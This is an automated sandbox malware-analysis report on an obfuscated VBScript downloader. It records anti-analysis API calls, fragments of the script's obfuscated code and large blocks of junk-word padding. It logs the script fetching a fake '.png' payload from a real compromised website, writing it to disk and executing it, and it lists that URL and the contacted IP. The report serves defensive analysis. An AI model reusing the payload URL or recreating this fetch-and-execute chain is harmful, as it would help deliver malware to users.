JVC_89412.vbs
This report is generated from a file or URL submitted to this webservice on November 12th 2019 16:49:47 (UTC)
Guest System: Windows 7 32 bit, Professional, 6.1 (build 7601), Service Pack 1
Report generated by
Falcon Sandbox v8.30 © Hybrid Analysis
Incident Response
Risk Assessment
- Network Behavior
- Contacts 1 domain and 1 host. View all details
MITRE ATT&CK™ Techniques Detection
Additional Context
Related Sandbox Artifacts
- Associated SHA256s
- 7852108558bc3e749e4d2821b3e4b87e49ab8d376ccaaf823098866a653b9dec
Indicators
Not all malicious and suspicious indicators are displayed. Get your own cloud service or the full version to view all details.
-
Malicious Indicators 1
-
Unusual Characteristics
-
References suspicious system modules
- details
- "d Nasua postmundane coadventure pseudozealot clericalist storages screensman unsuspectable iron-ribbed democratifiable retribute Guillermo windled eccentricities CIRCA paracymene gou xystos Meridianville Beachboys prevalent corkwing crenelet eye-conscious subspiral cogitos Sintu Streeter arthogram extemporisation voodooing eterne scariness broomtail bongrace knitwears criterium Theiss sulfochloride swarmers tropically Kuomintang mittelhand fights afterripening antecornu fieldie romanticists incudostapedial Kentishmen unprepare Elsass-Lothringen inundable nonexpanding hipshot egghead levo occipitofrontal nomophyllous starbolins gunshot Independency muckerism leaping Jabalpur Pennatula morainic scarless Werchowinci wanning headquarter galvanometric tower-shaped semicostal leafcup trepanner smack Diophantine hyemal ceils chorioretinal rerising Munich reintuition ooid Dungannin woman-bearing omnicompetent pupilloscopy glucidic muskone bins D/W Ettore intellects closedown paracondyloid Permiak scaff-raff Irishwome"
- source
- File/Memory
- relevance
- 5/10
- ATT&CK ID
- T1215 (Show technique in the MITRE ATT&CK™ matrix)
-
References suspicious system modules
-
Suspicious Indicators 5
-
Anti-Detection/Stealthyness
-
Possibly tries to hide a process launching it with different user credentials
- details
- ImpersonateLoggedOnUser@ADVAPI32.DLL from wscript.exe (PID: 312) (Show Stream)
- source
- Hybrid Analysis Technology
- relevance
- 3/10
-
Possibly tries to hide a process launching it with different user credentials
-
Anti-Reverse Engineering
-
Possibly checks for known debuggers/analysis tools
- details
-
"rtatively xyst pericardiacophrenic fudges unpersonified generalize snakewort strewth subraces Marra France octocorallan nondetrimental unriper quasi-compactly phytoteratological Keeler sourballs toothbrushing pre-explanation pyramidia superbity Harthacanute dogmatical emboss selfsaid antiblue perukier noggin suicidical Cornopion disencourage coehorn Bernhard diligentia interfoliate unsomberness provenience alicula prostrated Paraguayan anorexy sheetflood unmutualized Quader Saud Madigan keckling Hatley broad-billed unsharp rough-edge anticentralism Charontas lymphatitis koali unapproachable propagulum Aufklrung interpreted trito- ecclesiologist maccaboys whipsawn viewed fictionally long-hair sober-mindedness perdrix univocability bashfulness reinvitation nonfailure marvellousness Theatre-Francais Yoshio withinside immaterials quiz aglee calastic isentropically cacological half-trained zaddikim button-headed operated interspersed linotypes metaplumbic malleinization subspontaneously dreary-minded Kiron fowlers" (Indicator: "ntice")
"water stanes dissects iotization thinglike unsummarised nonoccidentally anticreator calesas Canadianization gipsyesque pomposo Laddie Swope eligibly operameter ungt Ising brasero engagements witherly relettered nondilation lith- distortional consubstantiality vivaces brendice ownwayish atmo- desalinating lance-pierced bouviers liparocele plateaus breast-deep lantaca bilimbing reexperienced rancours scalelike nitroanilin metallurgists legumins myoneuroma pyruloid unpleasantly Cozza ice-chipping pally brachyprosopic unswathes Kendleton Coleen vivarvaria Prajadhipok cravo zoometries lifelong unuprightness dipodic dourade credenza apple-polishing bollixing spoil- sugarcoats Orjonikidze Longyearbyen semideific skimmington viscoscope omniscient unvoiceful outsinging naves heaviest Verpa preblessed clear-story bumboatwoman awardees unfelicitated walking-sticked minimums dognapped Guyenne anticeremonialist thunderbearer smooth-bodied undeliriously flowmeter unretained picturably UAB ivory-towerishness depurate antimi" (Indicator: "ntice")
"teropia lazy ash-staved capituliform lithosperm nonsuppressed gondolet cloth-spreading rust-resisting rudesby jurywoman reverences titleboard interloped tutors Pretoria girlie detractress indurations odontic altruisms pantheology undeserve Garlaand shearman halogenating horse-boat curets sireship hematocytotripsis contorno trispaston hypocalcemia unvulnerable wharfhead McCowyn complimenting transcripts nonservile risper vagabondizing upflows nonexplosively exquisitive trans-shape electropathy nuthook Bontoks infinitesimalness remoistened morbleu Witter tongued Whitaturalist Fraxinus fuseau Sumeria crystoleum Nida jawbreak untransmigrated rufflike unaromatic scalewise conticent Elvita spragged obmutescence wristiest mist-laden baldheaded evil-mannered engrailed unexuberantly roach-bellied undominative tachygraph teratophobia Teheran Kath AAM muscovites frumaryl luxating reprograms fiction bleep unterraced detrimentalness squashs scleroskeleton pachyrhynchous saint-errant staminodia uprighted outyelp subact sim" (Indicator: "ntice")
"te-churned Macrozamia dichotomies daffadowndilly torsionless roadhouses avanters movingly Infeld slopselling Disconectae concrfsce Howison EbN exciding periblems panamas fair-weather thermotypy self-dialog apprenticed Bojardo preelectric converted landscape verticomental Washo intellectualiser exoculation tasser soon-sated ever-burning Iaso fugued jigsawing ambitious preinitiate jassoid bagpudding Mushro sudoresis biscacha realism focsle forsake titar miscitation world-contemning playwomen damageable homeochromatic crease Hierro unconsidering stasisidia Trifolium hydromechanical dewcup kegs nods evading chaldrons naumachia apocinchonine corroborates raveled Celaya uneliminated High-Churchist uncommiserated chinsing ovenstone anenterous irreputable worktable pentabromide misquoter clubstart aponeurositis dinkies extraessentially salework Wabuma harambee inheritrix smither compositive barbellula Basonga-mina reinoculated herbicides mesodontic burgherage fasnacht Proto-matthew unfrictionally microcephalic cameri" (Indicator: "ntice")
"ridae kibblerman laterites lobbied hyperintellectually safely sozly kombu refortification nucament requested misspeaks Pelobatidae Swedesburg denticete nondoctrinally comblike Onarga chickabiddy slow-foot blatjang Sandron Hellenism intertex platosamine cadetcy admitted analogal mids physophorous carryall hypertrophyphied bouncily averruncate jervin vociferating Katzman presubmitted Pawling crenels bakeapple organomercury puistie well-methodized routinely tubik polycarpy zygophyceous clerum upward-pointed uninstructively tear-revealed athirst topognosia hullo Mercatorial matchmakers tennu invading GHRS predicating adducting undercrypt antipapistical defatigated lick-dish pseudonym veneral unmercerized vaneless trade-union recondenses scrofulotuberculous contaminating eurycerous Dendrodus superparasitic star-shot saquaro Hildy snake-wood taciturnity fowlings twice-repaired reburn padishahs periodicals Scythize tetrachlorides poorhouse nondiplomacy reagitated claviculus nontolerant whins monkeyshines mythogenesi" (Indicator: "ntice")
"indow-dressing halloweens Chilkat Sasser sahh unenjoyableness upbuy diaxial krikorian leg-iron philhellenic Wykehamist satisfactions pent-roof Dyl glide unenticed insectproof Thebaid hydrogenated photographies hematogenic scuffer overmodesty half-silk unsneering educables pettable neuroglial haulse comparable Horacio benedictionary dimercuric malleableness balls-up honeyballs stars-of-Jerusalem tardy-rising disrepairs acrocephalic marshalman amidated cerosin pelletizing cranes-bill mutates unsecretiveness IDA unlarge Productus slippy gemmiest Harviell unawaredly delegalize faucal anticommercially moonlighters submitochondrial large-scale dodgily nonpromiscuousness outshow Magenta waffness standeth brises Cleveland Guapore heterometabole scleroxanthin Lundinarium extraequilibrium aphroditic Velleman unreckless buds pilin lips prepromotion melodyless shahdom ripost Kampuchea Nantyglo subgenre subangled Rennes conatural oversowed leaf-climbing Gijon delimiters Lincolndale provender ponticulus euchloric stale-wor" (Indicator: "ntice")
"ne intwine deozonizer height force-put isopycnal Timon territorialisation Histriobdella teams pachyaemia Deusdedit phytotoxicity synapheia spurriers Maryd cellulosity taurolatry preheating apostils recharter presterilizing nighter subordinately bambochade loftiest unenticed loud-roaring refold rejustify Barnardo lace-trimmed jaguars gray-crowned cheapens uneatableness double-time overloath undercladding responsories primogenitary glavered oinochoe self-endearment raffs sniffing babbler macadamizing unaligned huarachos quasi-honorable rattly epithumetic triviality Sanburn Hochheim podilegous Macareus princeliness Reichel iridescently hugged Russianized nouther parallepipedous float-cut seller faitery Ancel rusticize Lonaconing Triratna geranic subserve cascadable vineyards northwestwardly glycerite sarcomas exfetation crushable Tetragynia inheritress fennici vahini ungeneraled nagger sidelined WITS Injun snuffless cribs Balistidae low-principled sclerosises balsamiferous Tursiops Lygodium bloomerism poikilocyt" (Indicator: "ntice")
"ery eligibilities Antum dopaminergic tack irradicated selenographical archcorrupter underfold NORML Phiz Physeteroidea rapture-rising deformities wastages Odovacar confessionist drama-writing anagalactic groping reshut aetites bewrayer fossilized anthropic whigs Mozambican chiasm leukaemia hort. anticentralism understudied trawleys juxta-articular palaeometallic unintrospectively cloddiest hydropathy steersmen re-entertainment pseudoisomer schlepping partialised subitany supertoleration ulemorrhagia hydrocephalous disponee murkiness spiritualizes rhabdoid half-ripened Asclepiadic abetting sugarhouses Hecatombaeon gibbsite regimes thermoesthesia recapitulate misdevotion StRaphael infinitation faunally abd nonubiquitous superpatriotisms DePree many-voiced mucronulate Braconidae accumulator wesleyans BSGMgt BICS pretexts rediscipline bisubstitution rogued otters deathfulness climactery nondoctrinal housetops ombre pseudopodia rod-bending contextural nominal subfumose perspicacity unreconsidered Kweichow flotilla" (Indicator: "ntice")
"aricatingly chalcidoid Pablum arrish mutinous Wburg unvehemently citizens wumble laryngismus jive sougher eurycephalous nexal ascensive passivist unrotten antipersonnel personalness chimneyless redrafting uncollaboratively syncretic Kamba comprizable bridgebuilder tackles unembarassed Bushton unnotational pervert stumping perithyroiditis shopmark disposure counterfallacy Mentholatum Eliseo grey-headed Styr humbuggism polysomes nonentailed papaverin Gipsies icker adiaphorous Hemigalus midwived infusorial tuladi apostasy inferoanterior humours monkeyfy ulose snakey cineast grandness pomada Semi-gothic dogies heliacal abomasa obliquation bedaze Paguroidea drabs Ust-Kamenogorsk underteach mealymouth neodadaist roadlessness korumburra heteroside leproma fizgig brushy chromatophobia resid avowance bibionid entice Limnobium supercaution jujutsu crenelations V-grooved unwarm sure-set Orpheist Iturbi caldadaria overinsurance Alphonsa windlassed nine-jointed cuffed showpiece tritozooid tenantries thirty-mile nonalgebra" (Indicator: "ntice")
"licans Bdellostoma incests parbake world-offending Parnahyba overdrapery twenty-mesh nonadaptability hoodle calends aquamanalia oomiaks gamogenetically civil-law noncompressibility anticensoriously encephalic Sochi manicurists colonialists preadministration antehistoric lawyering superrestriction aberdevine IATSE well-cast Basilidian feathers lady-love inembryonate backbenchers aquotize John-bullist pseudobenthos organific Mackinac autobiographal autonegation baccated cancered lieutenants halfheartedness mactroid Martinsburg sheepfoot permeator nonimperialness untranquillised astatic tirrit reinvestigation tweediest wish-washy bag-shaped omentitis probang trinocular pillowlike apay preanal tide-rode diabology decompensated overzealous szlachta coll. recoal workers lavender-blue hordenine struth nurhag beefy mimeoing unearthed uninterviewed whincheck oliguresis acidly Brunell enheaven unicellular hairiness garrotter outfights solemnify griefs bollixing dermohumeral epapillate three-minute over-hard oracler Jul" (Indicator: "ntice")
"unlingering lipotropism cuapinole unpresumptive half-important preconizer Brunonism sanguineless echt Fortunella automaticity printworks donnerd genys Pate instantiation rock-steady myelonal officeress palaeophile lunules servicers besprizorni conflagrate encomiastic shallow-draft Obeded guet-apens Wicklow supplemental DDD beaverism remittitur signpost bylines entices oily-brown croupily joypops ducamara manslaughters cynomolgus horseway lattener macroprism raspingly repays Saxe refutals depermed metalism twice-nominated admonitorily dotlike sulfinic bobachee self-instructing stathmoi Cosette Cerritos tche shivey country-bred tiring-room wearingly euktolite depolish dissheathed pragmaticality fattrels Bergamos pseudopapal daybeam pikes imitation casher oligochrome pilferers terephthalic kestrel overearnestness effluxion untrain stone-eared kelper albolith poundages Alveolites broad-breasted five-pound decidingly beteem postadjunct horn-silver Isbella dreamful epidotic glykopexic outpressed six-flowered tropa" (Indicator: "ntice")
"ochineal hookland cincinni definitor semianatomically schizognath cigarillos monocarpellary scrob macrocheilia Lysias diaphanoscopy unerrant sillar uppowoc nutmegs Triangulid circumspangle quintuplicated rubblework catwood hematoscope holographs M-1 lout fitout prestamping arborer petalism enslumber clearway staurotide TAC remedium rephotographed nakong aslope apophyses Audhumla foot-pound-second elelments Pan-buddhism nonadjacently quasi-diversified umbilicated estanciero boho Armbrust toluates nodulus nongravities vibrative ceras reattempted unreflective kymograms fissle farhands incurvated psammoma archbishopry grazing transp. Prentice thoracoabdominal vs. bodybuild prepossessingly Tracaulon oxyhydric schoollike semisextile landaus lenticule dibrom unvertically hushpuppies adamsites Fierabras clothesmen copyholder electrovalently finning sortilegic bevies brassware Bergen-Belsen caprices hypotonus dicyclic solodize glossagra beliquored wackier overfemininity collision Laktasic Moffat hemerythrin Addisonian" (Indicator: "ntice")
"syllabicate acetylfluoride castigating centaury postal geobiology semidivisive esophagalgia demagnetization heartscald minimizing scrutable firefanged ungreedy ginete Peebles hammier Seda quotative free-moving Podophryidae highball spinoff Spenserian Amabelle arenicolite suffari cists oligophrenia diabetometer schedules Pyrenopeziza Cuervo coverable tumidness supercow simianity McVeytown Brahmsian spotting filecard stringholder khesari splatter atolls trappable extrastapedial Nemean alow Justine viremia quasi-instructed intercolline Charollais thin-stalked ridgels rascalion low-statured elytrin side-flowing birthrights phytotoxic well-blown nonprofanities brachydactyl phylacteried scurrying ovines subchoroidal klaverns Hollybush unobtainable enticeful conceptions outgrows suprachoroidea Tamara Balboa subscriptions auriscope cherubs crinanite ram-jam keten unauthoritative circumviate sun-warm teaseled prenotify subventitious lum proairplane transpolar Graeme miniprice Benson moonway Eubuleus squashing Kat exc" (Indicator: "ntice")
"ng monergic presaw taperwise argyrodite araban subpartitioned verbate disappendant Gitanemuck chuter erotogeneses coding nontruant griffinage discriminatingly ill- atrible bacilliparous locate benzoins newborns subduable gooney hikers cosmopolitanise
mVar = 283 + 263 + 405 + 205 + 195 + 344 - 3 + 14 - 4 + 12 - 1147
CsYU = Chr(435 + 15 - 359 + 313 + 16 - 6 - 7 - 302 + 241 - 337)
iNWW = Sgn(mVar)
KeoF = 277 - 14 - 272 + 11 - 302 - 2 - 499 + 18 + 477 - 184 - 2 + 167 + 222 - 130 - 265 + 1070
'dishevelled lenticellate petrograph tarish centerless reprisal Binnings slopes overdepressiveness feteritas Ommiades all-overish Dyess clammers colonists incorrigible lateener allice plebeian overlooker Fris aftermath endiadem anabaptists cauterizes meathooks unpooled gofers unconventionalized superevangelically schoolbag lampblack age-weary achatour unstops berobed marmarized footweary Bandung get-up Yolanthe dooming polycormic Apul satin-lined prediscover Carder sperm- dye calycanthemous unpeculating nonconcision quartan" (Indicator: "ntice")
"tization dissimulative disquisition horry kernos slipcase anthranyl loud skates four-gram Kadmi Atys interreact overlanguaged Atahualpa anticeremonial theatrophobia markets skeyting uptore punishments etrogs luminescent mother-of-pearl torpidity unwraps nonbelligerent introrse ankle-deep chymics malefactress microcephalous Turcize SLIC inleakage copyreading Saint-Simonian small-feed Whitefieldism unbudgeability fordull androcracy amphibiological Cacilie Pelkie scagliolist indissolvably palm-reading grubstaker colonizationist jack-boot shylocking oneupmanship trabacolo tead nonorthogonal cadgers pseudocritical pauperiser campesinos trimodal pseudofarcy postseason six-shared compiling mallus pachydermatously payeny recontaminates forgottenness bromised cenotaphs hundred-headed NSEL patroullart desolatingly underlets opposeless remonstratory Roxton lambiness xanthide Maben pyrotartrate discountenance acquaintancy scullions infight insafety stately bepride laspring over-excite first-ripe trouncers pleomorphic deh" (Indicator: "ntice")
"nize thoriferous bluetongue wildflowers poundmaster odorants noviciate pericenter bebreech urologies dichromate interweaver lytically self-advertise quinque-angled Carine irritatedly quasi-tangibly univalent intracystic self-impairable Walburg Tryon reconvicts capitalisable underjailer audivise centronote Transcaucasia little-able paleophytological pitless tablecloths clownade donnerd Roze corybulbin rewaxes heatstrokes filamentiferous nithing unsacramentarian gelilah sandblasts unbeseemingness snobism octyl ad- uncircumstantial BOAC Alansen zealotical cardiokinetic sluggardliness ectosarc sympathectomize anankastic sillinesses impugnment irradicated cashable Faubion Alakanuk whitetails lenticel plume-plucked cervicide oblige invalidations unrelishable unhot angiectasis place Autrey unmetric aguinaldos matman quiddler finically taintlessly silexes linearifolius monoparesthesia detractively waveguides sloken Kutch nulla-nulla daks freckliness autoloading forsythias self-instruction modder honey-buzzard noncong" (Indicator: "ntice")
"rostome camoca boldin locustal fraternation counterevidences snap-hook TCBM megalesthete microcranous self-corrupted jussive Tantrika Nissa gunpowders Puebla preindemnified ghastily cooping finalize microanalytical bilirubinic So. simpliciter force-feed recd fluty Marcelline Debee Ichang nitrocellulosic pawn extraordinariness Alekseyevska Mixodectes Trachodon Gerlaw unperpendicularly spandrel Assamites Limburger Squamipennes vending smuggles oto- Metis anticentralization dotters edition exorcisers transshift allogamy sharp-heeled re-reject wool-work small-feed sugarplate pinnet reserver stalklet digestif eulogises specifist Bonnaz sulfhydryl unstout pretty-pretty KKt pleurite daiquiris Bluhm cumidin Lotharios spruce internection Afzelia ecchymoses prospectus stopback petaly taxative consented life-destroying salty Saberhagen race-riding waily heterozygous unformularizable tendential clotting Jacksonism Sabina vice-sick neutralist jubus brevis clokies seriocomically unchokable
osF = replace(osF, CsYU, "")
'u" (Indicator: "ntice")
"ty anticentralist miscasts precipitable imperspicuity wasphood close-fertilize angild swillpot infrareds rimples psychoanalyzer elastometry horsehoof spiderier succumb undersells bugseed trigonometrically overbeetling suboffices profoundness tonguefence widdy proprietresses subtwined intervening eumoiriety Parlier ballotade Clinchfield Yuu dyspnoic myelasthenia foraminate intercilium waggon unburst haricot satisdation dodgeful worshipfully lapper palar worldly-mindedness geysers alphabetically Rieka all-sustainer undisputatious urohyal thermophobous capitate keep Cong. unconjoined communization trophy glycollide Hamlin colonialness automateable tetanilla follicule chairlady Heydon dearn amiableness cringe knightly bob-white hopefulness droitural insisting ammonion advents massotherapy porphyrize Conemaugh tubercularised unretentive Grant Rolf long-dated condiddled prerequest padnags crevalles cavaliere moderne undercaptain glycerophosphoric fittable roach-bent inextension outboxes garnishes preengages cardiot" (Indicator: "ntice")
"ck-out exasperatedly Donatello Koror pasteboardy absorbefacient unremitting well-weighed Jacobethan simpatico Franco-spanish Ouija condominium queensberries Dali undermaid melicratum crumpets oarcock SAC azotemias nonsecession Eurasiatic redes embrue hemisaprophyte lockouts Calusa Martialist finableness Adriell xyloquinone footballist insculps sixpenny unsty haemopoiesis victorys Oniscidae Lita Shebat larrigan stealthier stationman full-chilled facultied underleaf papulate daker stannane rejuggle Zephyrhills unpendent episomal noninflammably lypemania ocellated multilocation Jacobinising relining unterminableness travel-jaded unusurping pettygod delegacy modularized stalks unmeritedness thegnly toting schimmel chocolates neuropsychopathic sequestrant batophobia fosslology celebratedness laxations elms mancala broker allurance malars palatially shrinking emancipators washdays waxweeds nickelled diverberate netherwards violoncellist otomycosis dearworth lenticels horse-fair Nadbus coenesthesis swiftfoot erythro" (Indicator: "ntice")
"flooder archmocker hemangiomas panelboard Buller tirelessly philabegs uncuriously spathiform orthobenzoquinone deep-damasked thumbs-up pseudostalactitic merer quiller canch terror-threatened individuating underlanguaged Boylston hostel goatherd skasely pointmen puceron expanders tartarine recalibrate grass-hook JECC chowhound ascriptions Claviceps truthlike spart dyslalia Rules fideisms nuzzling coenoecial Bennettites atavisms Ailuropoda Inine liquet awin unexactingly ill-nurtured centesimo elegises archhost splenocyte fatter momento hollow-billed evolutionist Sparganiaceae endocardial hoc unprosodic NWA Leucojum gusseted antiheroes miscibilities Malanie miscal deifier lignone unbusinesslike fullymart summerish piss jaildom protome rigescence vaivode aposiopesis unallayable nonlaying eposes uselessly serapes yielden lenticels unbombast court-tialling outsaying ulcerous valuelessness Zuleika Axel inexpiate amphichroic self-registration all-able omniparient Lomita spytower consignment squatly glossopyrosis Athe" (Indicator: "ntice") - source
- File/Memory
- relevance
- 2/10
-
Possibly checks for known debuggers/analysis tools
-
General
-
Contains ability to find and load resources of a specific module
- details
-
LoadResource@KERNEL32.DLL from wscript.exe (PID: 312) (Show Stream)
FindResourceExW@KERNEL32.DLL from wscript.exe (PID: 312) (Show Stream) - source
- Hybrid Analysis Technology
- relevance
- 1/10
-
Contains ability to find and load resources of a specific module
-
Installation/Persistance
-
Executes a visual basic script
- details
- Process "wscript.exe" with commandline ""C:\JVC_89412.vbs"" (Show Process)
- source
- Monitored Target
- relevance
- 10/10
-
Executes a visual basic script
-
Network Related
-
Sends traffic on typical HTTP outbound port, but without HTTP header
- details
- TCP traffic to 35.231.146.96 on port 80 is sent without HTTP header
- source
- Network Traffic
- relevance
- 5/10
-
Sends traffic on typical HTTP outbound port, but without HTTP header
-
Informative 17
-
Anti-Reverse Engineering
-
Contains ability to register a top-level exception handler (often used as anti-debugging trick)
- details
- SetUnhandledExceptionFilter@KERNEL32.DLL from wscript.exe (PID: 312) (Show Stream)
- source
- Hybrid Analysis Technology
- relevance
- 1/10
-
Contains ability to register a top-level exception handler (often used as anti-debugging trick)
-
Environment Awareness
-
Contains ability to query machine time
- details
- GetSystemTimeAsFileTime@KERNEL32.DLL from wscript.exe (PID: 312) (Show Stream)
- source
- Hybrid Analysis Technology
- relevance
- 1/10
- ATT&CK ID
- T1124 (Show technique in the MITRE ATT&CK™ matrix)
-
Contains ability to query the machine version
- details
-
GetVersionExA@KERNEL32.DLL from wscript.exe (PID: 312) (Show Stream)
GetVersionExA@KERNEL32.DLL from wscript.exe (PID: 312) (Show Stream) - source
- Hybrid Analysis Technology
- relevance
- 1/10
-
Contains ability to query the system locale
- details
-
GetUserDefaultLCID@KERNEL32.DLL from wscript.exe (PID: 312) (Show Stream)
GetUserDefaultLCID@KERNEL32.DLL from wscript.exe (PID: 312) (Show Stream)
GetUserDefaultUILanguage@KERNEL32.DLL from wscript.exe (PID: 312) (Show Stream)
GetUserDefaultLCID@KERNEL32.DLL from wscript.exe (PID: 312) (Show Stream) - source
- Hybrid Analysis Technology
- relevance
- 1/10
-
Possibly tries to detect the presence of a debugger
- details
-
GetProcessHeap@KERNEL32.DLL from wscript.exe (PID: 312) (Show Stream)
GetProcessHeap@KERNEL32.DLL from wscript.exe (PID: 312) (Show Stream) - source
- Hybrid Analysis Technology
- relevance
- 1/10
-
Contains ability to query machine time
-
General
-
Contacts domains
- details
- "campellicosmeticos.com.br"
- source
- Network Traffic
- relevance
- 1/10
-
Contacts server
- details
- "35.231.146.96:80"
- source
- Network Traffic
- relevance
- 1/10
-
Contains PDB pathways
- details
- "wscript.pdb"
- source
- File/Memory
- relevance
- 1/10
-
Creates mutants
- details
-
"\Sessions\1\BaseNamedObjects\Local\InternetShortcutMutex"
"Local\InternetShortcutMutex" - source
- Created Mutant
- relevance
- 3/10
-
Intercepted relevant COM error
- details
-
"wscript.exe" called "WScript.Shell.1("CreateShortcut").TargetPath"
which returned the status code "80020009" (The system cannot locate the resource specified) ...
"wscript.exe" called "ADODB.Stream.6.0.Write"
which returned the status code "80020009" (The system cannot locate the resource specified) ...
"wscript.exe" called "WScript.Shell.1.Exec"
which returned the status code "80020009" (The system cannot locate the resource specified) ... - source
- API Call
- relevance
- 10/10
- ATT&CK ID
- T1122 (Show technique in the MITRE ATT&CK™ matrix)
-
Logged script engine calls
- details
-
"wscript.exe" called "WScript.Sleep" ...
"wscript.exe" called "WScript.CreateObject" with result: "IDispatch" ...
"wscript.exe" called "WScript.Shell.1.CreateObject" ...
"wscript.exe" called "WScript.Shell.1.Unnamed" ...
"wscript.exe" called "WScript.Shell.1.ExpandEnvironmentStrings" with result: "%TEMP%\ ...
"wscript.exe" called "WScript.Shell.1.CreateShortcut" with result: "C:\Users\%USERNAME%\AppData\Local\Temp\x.url" ...
"wscript.exe" called "WScript.Shell.1("CreateShortcut").TargetPath" ...
"wscript.exe" called "WScript("CreateObject").FileExists" with result: "0" ...
"wscript.exe" called "Msxml2.ServerXMLHTTP.6.0.CreateObject" ...
"wscript.exe" called "ADODB.Stream.6.0.CreateObject" ...
"wscript.exe" called "Msxml2.ServerXMLHTTP.6.0.open" ...
"wscript.exe" called "Msxml2.ServerXMLHTTP.6.0.setRequestHeader" ...
"wscript.exe" called "ADODB.Stream.6.0.Type" ...
"wscript.exe" called "Msxml2.ServerXMLHTTP.6.0.responseBody" ...
"wscript.exe" called "ADODB.Stream.6.0.Write" ...
"wscript.exe" called "WScript.Shell.1.Exec" ... - source
- API Call
- relevance
- 10/10
-
Contacts domains
-
Installation/Persistance
-
Contains ability to lookup the windows account name
- details
- GetUserNameW@ADVAPI32.DLL from wscript.exe (PID: 312) (Show Stream)
- source
- Hybrid Analysis Technology
- relevance
- 5/10
-
Touches files in the Windows directory
- details
-
"wscript.exe" touched file "%WINDIR%\System32\en-US\wscript.exe.mui"
"wscript.exe" touched file "%WINDIR%\System32\wscript.exe"
"wscript.exe" touched file "%WINDIR%\Globalization\Sorting\SortDefault.nls"
"wscript.exe" touched file "%WINDIR%\System32\rsaenh.dll"
"wscript.exe" touched file "%WINDIR%\System32\wshom.ocx"
"wscript.exe" touched file "%WINDIR%\System32\stdole2.tlb"
"wscript.exe" touched file "%WINDIR%\System32\scrrun.dll"
"wscript.exe" touched file "%WINDIR%\System32\en-US\KernelBase.dll.mui"
"wscript.exe" touched file "%WINDIR%\System32\msxml6r.dll"
"wscript.exe" touched file "%WINDIR%\System32\msxml6.dll\1"
"wscript.exe" touched file "%WINDIR%\System32\msxml6.dll" - source
- API Call
- relevance
- 7/10
-
Contains ability to lookup the windows account name
-
Network Related
-
Found potential URL in binary/memory
- details
-
Heuristic match: "campellicosmeticos.com.br"
Heuristic match: "GET /wp-content/uploads/2019/11/word/aaaaa.png HTTP/1.1
Connection: Keep-Alive
Accept: */*
Accept-Language: en-us
User-Agent: Windows
Host: campellicosmeticos.com.br" - source
- File/Memory
- relevance
- 10/10
-
Intercepted COM issued HTTP GET request
- details
- "wscript.exe" called "Msxml2.ServerXMLHTTP.6.0.open" to "http://campellicosmeticos.com.br/wp-content/uploads/2019/11/word/aaaaa.png"
- source
- API Call
- relevance
- 10/10
- ATT&CK ID
- T1122 (Show technique in the MITRE ATT&CK™ matrix)
-
Found potential URL in binary/memory
-
Spyware/Information Retrieval
-
Found a reference to a known community page
- details
-
"undless Darsie attempered Ojibway promenades twitteration all-conceiving Serendib anacoluthon ethnologer glassblowers discountenancer vajra spendthriftness Yankeeist slatemaker phylacteried shoddying pharynx brecciating Alsophila lender amorini imperialists religio-educational nuisance conglutin unsatanic Tangipahoa pink-leaved otopathy Donnellson civical Ayurvedic maxixe jointwood digraph evaginating forepreparation Aditya recommissioned publicate voltaelectrometric gematrical Saragosa ingraftation tonk legitime overspoken disklike womanliest decoy-duck herbariia Dunaville Christianisation microphytology slimish boiling-house nidulant Silverstreet stylobata architecturalist TMIS caricetum scenecraft brattie acanthus plumbeous pechay pantherish mendicancies liturgiologist dextrorse Scorpion hypertrichy weatherstripped SALT uncircumlocutory pruniform y-blend nogheaded usually Waelder Aldos applicancies sensible rocklay goldenwing RHA unpliantly subgaped half-altered baffing maquis winevat carrotweed Hippocrate" (Indicator: "twitter")
"ner cudweeds shier healthily noneligibility bargeman nonheroicalness Mixtecs Sollows speeling Wheller isotrope perdicine hypsidolichocephaly desistance three-bagger balloted undiligent detain wild-aimed virtuosos nephroncus imposal dipodies subcarinate downwardly nulling exchangee endocrinological Monogenea twistingly unpursuing spermotheca wingbacks dorks paleobotany Marina chalazogam J.W.V. subalmoner muffet arthrodynia tortillions creped irreciprocity homotypical batlike Handley palatinal twitterboned carryable overattentive hexapodies countertruth shavable tarboy Aspers vingt-et-un asteer appalls pre-Christianic TRSA disestablismentarian fermiums vicelike laidly Dolgeville wanhope Maribor meter-kilogram-second cryptometer missummation educationary decessit niveau Stictaceae cameleers Luxor Tunguska Kosse demonstratedly rough-grained microscopes achime Kipling outtalk unvassal schizopod overstating beriberis unpinion barrio cravings villageful facebread paromologetic tan-tinted partialistic nontortuously a" (Indicator: "twitter")
"ness hypotyposis ripstone furfuryl nearshore lunge lugubriousnesses pridefulness epikleses superplanes twenty-seven dihely omened kinkable surflike sunkets puzzlements cleanups sterilely knurling ranchman Dissenter nable Seraphine Tunebo unsurpassed colloidal casease darwan choleric Encratism humanising PRTC awarrant azobenzol detonize Amphinome subicular mormaer preaggressiveness unattestable turf-grown cruelness Myctophidae interminate fauns varietal Campbelltown jolterheaded allelomorphism chulpa twitters pestles Echemus BGeNEd umimpeded irish-gaelic autoagglutinin mewed Hiroko wageling allusivenesses groovelike Iztaccihuatl tracksuit white-liveredly uncoordinate fledglings membranula trilith mantels tileyard universalia Pro-samoan c-axis gobemouche Castroist precharging rambooze red-tapist surceasing zibelines wood-faced Indo-hellenistic squeteague isopropylacetic cherried Huang gesticulant abnormalize unmodel hortatively hydrically affydavy witling dinsome fraud vocationalization unbasketlike outbranch g" (Indicator: "twitter")
"nrefulgent symphilous whitlows quasi-gentlemanly unclothedness Dachau preadmonish nontautomerizable gravicembalos superprosperous Algiers untusked lasking asss eluate rudistan stringhalty Emeigh realised ceylonite toxicophobia Elman spellican transcondyloid trimestral noncalumniating eviction depainted twingle jawline navigating topsy-turnness receivedness BIE Gordie inflative rememorize senegin autosomatognostic limberly concocts adverbless ultrainvolved Chor diabological Patt kWh howked atavism adjured sissiest ferry-boat hydrotimetry plewgh quoteless prediscretionary handclasp diversory arsenicked murmurer Hixson heathendom unpathetic passional potestal Gertruda colourlessness brainwashjng phototherapies theoria Duisburg tongue-wanton toponymics stuccoworker misemploy thursdays luxuriantly actiniochrome essayism twittering drop-kicker amazes electrosherardizing redealing octocorallan pinkishness hemocytozoon modist Susquehanna hyps- singeing logarithmomancy epigoneion menial Kehr blepharoplastic pussiness" (Indicator: "twitter")
